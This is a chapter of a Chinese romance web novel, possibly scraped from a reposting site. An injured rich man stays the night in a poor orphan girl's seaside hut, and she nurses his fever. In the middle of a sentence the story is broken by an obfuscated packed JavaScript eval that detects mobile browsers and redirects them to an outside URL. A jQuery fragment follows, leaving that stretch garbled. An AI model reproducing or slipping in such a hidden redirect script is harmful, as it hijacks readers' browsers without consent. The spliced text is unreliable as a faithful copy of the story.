老牛拖着一辆破烂木板车，牛蹄子上黏糊着一圈黑黢黢的湿泥巴，沾了些碎草。
江景辞闻到一股新鲜的牛粪味，还掺着点青草的生涩气。
他抬手抵在鼻子下方，脸黑了一半。
不可思议，合着他在冷风中吹了半天，就等来这么个玩意儿？
“......你管这叫车？”
“对呀！”女孩抬手拍了拍牛背，牛皮肤上落下来一些碎屑样的东西，“大黄可稳啦，绝对颠不到你的伤口！”
江景辞看得眉头直皱。
他这辈子坐过直升机，开过限量跑车，也环山飞过摩托，哪怕自行车也只骑十万打底的公路款。
这唯独，是没坐过牛车。
他看着那牛，那牛也看着他，眨巴着圆溜溜的无辜大眼睛。
大眼瞪小眼。
“哞。”老牛从鼻孔里喷了口湿气。带着草气的鼻息扑了江景辞一脸，他脸又黑了几分。
他扶着墙，想站起来：“我还是自己走回——”话说到一半就卡在喉咙里，眼前一阵阵发黑。
女孩眼疾手快地扶着他，满脸担忧：“快上车吧，你伤口还没好呢。”
那牛也好像在召唤他似的，很配合地叫了一声。
江景辞静默了几秒，偷眼瞄了瞄正对牛屁股的木板车。头还在发晕，耳边是呼啸的海风。
这么走到她家，他在累死之前，会先冷死。
最终，他扶额的手还是无力地垂下来。
木板车不够长，他只能曲起腿躺在那上边。
老黄牛踏踏实实、一步一个脚印，就这么拉着他，远离了村子中心。
越往外走，房子越稀疏。
完整的海岸线逐渐铺进视野里，浓郁又幽森的墨黑色海浪翻涌着，带着咸味的冷风扑面而来。
清辉月色高悬，在白色沙滩上覆了一层碎光，浪潮迭起，又悄无声息地退下去。
江景辞闭着眼，身体逐渐松缓下来。耳根总算清净了，风虽冷，却比诊所里的消毒水味让人舒坦。
就连牛粪的味道都淡了不少。
老牛像听见他心声似的，晃了晃尾巴，黑影在他身上扫了两下。
他睁开眼，漫天星光铺在夜空，密得像撒了一把碎钻，好像也不比他去过的那些顶级度假海岛差多少。
愣了会儿神，他忽然想到一个事儿。
刚才这丫头让他去家里住，他没得选，模糊应了句“也行”，就算是答应了。
“我住你家，你父母答应吗？”他侧目看她，才发现正她低着头，好像是在踩自己的影子玩儿，脚步轻盈雀跃。
她在高兴什么？
他这落魄样，倒欠她钱不说，还要吃她的住她的。
“啊？”她抬起头，弯着眼睛笑，“我一个人住。”
“你家里人呢？”
她脚步一顿，挠挠头，有点不好意思似的：“我...没有家里人，嘿嘿。”
江景辞微愣。目光滞留在她身上。
什么意思？孤儿？
那还叫他去她家？不怕他是坏人？
她没再说话，继续赶着牛往前走，偶尔还是会一跳一蹦地踩自己的影子，齐耳的短发跟着跃动，只是头比方才低下去些。
他不知看了她多久，终于收回视线。
没有家人。
那岂不是...和他一样。
“你呢？刚才电话里的，是你爸爸吧？”
听见她提起某个词，江景辞直接闭上了眼。
女孩等了一会儿，没等到下文。她偏过头，看着他侧脸的轮廓，忽然小声说：
“他一定很担心你。我奶奶以前也这样，我晚回家一会儿，她就在门口等着。”
知道她是想找个话题聊聊天，但他几乎是下意识地、极轻地冷哼了一声，带着点嘲讽。
担心？家里的狗都比他爹担心他。
海风卷着浪声盖过了沉默。虽然冷场，但她也没有再追问。
老牛慢悠悠地往前走，不多时，停在一处房子前。
江景辞支起身体，抬头望去，视线瞬间凝固，足足怔了十秒。
眼前的房子，是海边最老的那种石头砌的小屋，依着礁石建的，瓦片盖的顶，墙皮被海风蚀了大半，露出里面凹凸不平的石块。
只有两扇破旧的木门，被擦得干干净净，透露出有人在住的痕迹。
门前挂着几串穿起来的各色贝壳，风一吹，叮叮地响。
女孩推开门，很快点亮一盏灯，暖黄的火光跳跃着，照亮了整间小屋。
江景辞这才看清内室，进门就是一张薄木圆桌，桌旁靠着一张木板床，木头被白蚁啃得满地是渣，看着随时要散架。
床边竟是一个废弃的土灶——且不说连他乡下老家都不用这种灶了，为什么会有人在灶边放一张床啊？
原还觉得诊所的病房简陋，这下比较起来，那都称得上是宫殿了。
女孩拉开一张凳子，目光触及他的脸，又立马垂了下去：“地方小，你别嫌弃。”
江景辞刚一坐下，凳脚竟是晃了晃，他下意识扶上桌沿，手臂伤口被牵动拉扯，疼得眉心蹙了一下。
这破凳子。
他没力气再打量别的，只是垂着眼，等着那阵痛意过去。
“你饿吗？我煮了粥。”女孩揭开灶台的锅盖，里面的铁锅温着粥，米香混着青菜的清甜味飘了出来。
转眼两碗粥摆上桌，稀稀拉拉的白粥里飘着几根碎青菜，连点油星都看不见。
江景辞咽了咽口水，但他知道，自己不是在馋。
威尔斯和克里斯汀——他家里狗吃的边角料，都比这精细。
女孩把勺子递给他，自己捧着碗低头喝了起来，吃得很香。
他用勺子随意搅了搅碗里的粥，米都不见几颗，全是水。他眉头轻皱，心里暗忖：这怎么吃？
“你怎么不喝？”她抬起头，圆眼睛眨巴着看他。
江景辞动了动唇，却没能笑出来。
这人到底什么意思？他现在身无分文，她请他回家住，是出于好心，还是想放长线钓大鱼？
若真是好心，那这碗粥又算什么？
她平时就吃这个？
还是看他掏不出钱，所以敷衍？
女孩好像明白了什么，低下头，声音小了：“你是不是...没胃口？”
江景辞别开眼。
她虽不懂待客之道，但他受人恩惠，总不能再让人家当众难堪。
他顿了一下，转而道：“我想喝水。”
女孩刚还蔫下去的情绪瞬间提了起来。
她眼睛一亮，忙翻出个旧得褪色的杯子，倒了水双手捧到他面前。
江景辞垂眼一看，水面上漂着几点油星。
......粥里没油，水里倒有？
是没洗干净，还是她饭后用过沾上的？
他沉默了，迟迟没有喝下那水。
女孩一直看着他，捧起碗咕噜噜喝完了粥，放下碗还是盯着他。
他搞不懂她。
看上去穷得要命，却收留他、对他小心翼翼。一会儿因为他嫌她的粥而失落，一会儿又因为他要喝水而眼睛发亮。
身上脱力感越来越重，肩膀沉得下坠。他懒得再深究，最终放下杯子，低低呼了口气：“我想睡了。”
“哦，你累了吧，睡我的床吧。”她起身，仔细理平了那张洗得发白的粗布床单，抖了抖边角打了补丁的厚被子。
他环顾四周，问：“你睡哪？”
这窄小房子里，就一张床。虽是春天，但入了夜还是冷的，她总不能睡地上。
她转过脸来对他微笑：“我睡小床。”
江景辞躺上床，见她在房间里转来转去。
一会儿是刷碗，一会儿是将他丝毫未动的粥倒回锅里。忙完这些，才不知从哪翻出一张很小的折叠床，摊开在他床头。
那床又短又窄，像小学生用的，但她躺上去，竟然也不小多少。将将够睡。
“那我熄灯了？”
“...嗯。”
她呼的一下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406318|200530||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吹熄了煤油灯。
他这才注意到原来墙上有一盏白炽灯。屋里有电器，岛上也有电，但是非要点煤油灯。
应该是为了省钱吧。
门缝透进来几缕细风，窗户被吹得吱呀响。他拉高被子，厚实的老棉花被很重，压在胳膊的伤口上，疼得他眉头一蹙。
被子上没有他熟悉的柔顺剂香味，只有一股老旧棉布的味道，混着淡淡的阳光晒过的气息，还有一丝若有若无的霉味。
他闭上眼，强迫自己睡去。
过了半晌，安静的房间里响起均匀的呼吸声。
海生睁着眼，放轻了呼吸，仔细听着。
那声音和奶奶惊天动地的鼾响不同，斯文细微。她听了好一会儿，不禁露出笑容，翻身面对着他，靠得更近了些。
淡淡月光透过窗户，晶莹撒了一床。
床上的男人平躺着，高挺直鼻和微翘的睫在墙上投下一道柔和的影子。
海生直直盯看，连眼都舍不得多眨。生怕下一秒，眼前的景象就成了幻觉。
奶奶的鼻子要比这塌很多，额头也没这么饱满。
她望着望着，眼前的影子和记忆里的身影，渐渐重叠在一起。眼皮越来越沉，慢慢阖上，最终睡了过去。
许是心里总担心着什么，海生这一觉睡得并不沉。
迷迷糊糊间，耳边传来极轻的闷哼声，像小动物似的，忍着疼。她意识朦胧了几秒，才清楚分辨出，是那男人的声音。
掀开薄被起身，手探上他的额头。汗涔涔的，一阵发烫。
前几日他在诊所，也这样不时低热，白医生说过伤口发炎，烧起来是常事，只要退烧就无大碍。
海生怕点灯会晃着他，摸黑打了盆凉水，把毛巾浸得透湿，拧干了轻轻敷在他滚烫的额头上。
没了睡意，她干脆坐在小折叠床上，上半身趴在他的床沿。
男人时不时会闷哼一声，不知道是胳膊疼，还是发烧熬得难受。
再怎么高大的人，生了病也是一样的可怜。
她皱着眉，隔一会儿就探一次他的额头，毛巾不凉了就浸水再换。
就这么来来回回，不知过了多久，她下巴搁在臂弯里，眼皮半阖着，小脑袋时不时歪到一边，就这么守着他睡着了。
等她再惊醒时，床上的男人已然醒了。
他双颊的微红还没褪尽，额头冷汗已经消了，就这么一动不动垂眸看着她，呼出的气息还带着发烧的热意。也不知看了她多久。
海生扯出一个笑，揉了揉眼，声线朦胧发着软：“你醒啦？感觉好些了吗？”
他不说话，视线却未偏移半分，直直凝着她。发烧的缘故，一双黑眸水润，莹莹泛着光，莫名的幽深。
海生觉得他和平时有点不太一样，虽然都没什么表情，但此刻眉尾微微垂着，唇角的线条似乎也软和了许多，不似平时紧绷。
看她的眼神少了几分冷漠和距离感，多出来的......她读不懂是什么情绪。
她熟门熟路地帮他掖好被角，手上动作很轻，注意着不碰到他的手臂。目光扫过他干裂的唇，体贴问道：“你要不要喝水啊？”
他终于受不住似的别开视线，眼睛盯着别处。就是不回话。
海生顺着他的目光看过去，床脚什么也没有。
他在看什么？
她抬手搔刮了下太阳穴。
“你不用那么殷勤。”他突然说。垂着眼皮没看她，还是什么表情也没有。
海生眨了眨眼。
殷勤...？什么意思？
好像是个不好的词，可他语气平平的，不像在说难听的话。
她眉头紧拧，翻来覆去琢磨这两个字，越想越懵，连话都忘了接。等回过神来，才后知后觉地想：等买了字典一定要查一下这个词是什么意思。
他沉默了会儿，毫无征兆地翻过身去，后背微微紧绷。
屋子里静了很久，只有窗外海浪拍岸的声音，她听见他闷闷的、隔着被子传过来的声音：“我也会给你报酬。”